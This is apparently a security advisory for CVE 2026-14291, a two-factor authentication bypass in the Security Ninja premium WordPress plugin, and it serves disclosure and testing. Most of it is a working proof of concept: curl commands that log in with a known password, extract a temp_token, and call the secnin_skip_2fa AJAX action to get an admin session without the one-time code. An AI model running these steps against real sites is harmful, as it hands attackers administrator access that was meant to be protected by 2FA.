Security Ninja (Premium) < 5.290 – Two-Factor Authentication Bypass via secnin_skip_2fa | CVE 2026-14291

Description

The plugin does not verify the second authentication factor in one of its two-factor authentication code paths, allowing an unauthenticated attacker who knows a user's password to complete authentication without the one-time code and bypass enforced two-factor authentication for any account, including administrators. The affected two-factor module ships only in the premium build.

Proof of Concept

Setup: 2FA enabled and enforced for a test admin account; the tester knows that
account's username and password. No OTP or authenticator access is used.

Step 1 - submit the first factor and read the temp_token from the returned 2FA
         challenge page:

    curl -s -c cj.txt \
      --data "log=ADMIN_USER&pwd=ADMIN_PASS&wp-submit=Log+In&testcookie=1" \
      "https://TARGET/wp-login.php" -o challenge.html

    # The token is in the challenge page, e.g. a hidden field
    #   <input type="hidden" name="temp_token" value="XXXXXXXX...">
    # or a JS config:  window.two_factor_auth = { temp_token: "XXXXXXXX..." }
    TT=$(grep -oE 'temp_token"[^"]*value="[A-Za-z0-9]+"' challenge.html \
         | grep -oE '[A-Za-z0-9]{20,}' | head -1)

Step 2 - skip the one-time code via the AJAX action:

    curl -s -c cj.txt -b cj.txt \
      --data "action=secnin_skip_2fa&temp_token=${TT}" \
      "https://TARGET/wp-admin/admin-ajax.php"

    # Response:
    # {"success":true,"data":{"message":"Continuing to dashboard...",
    #  "redirect_url":"https://TARGET/wp-admin/"}}
    # The response sets the wordpress_logged_in_* cookie; the session is
    # authenticated without the OTP/TOTP having been submitted.

Step 3 - confirm authenticated access:

    curl -s -b cj.txt "https://TARGET/wp-admin/profile.php" \
      | grep -qi "Personal Options\|Profile" \
      && echo "AUTHENTICATED - 2FA skipped"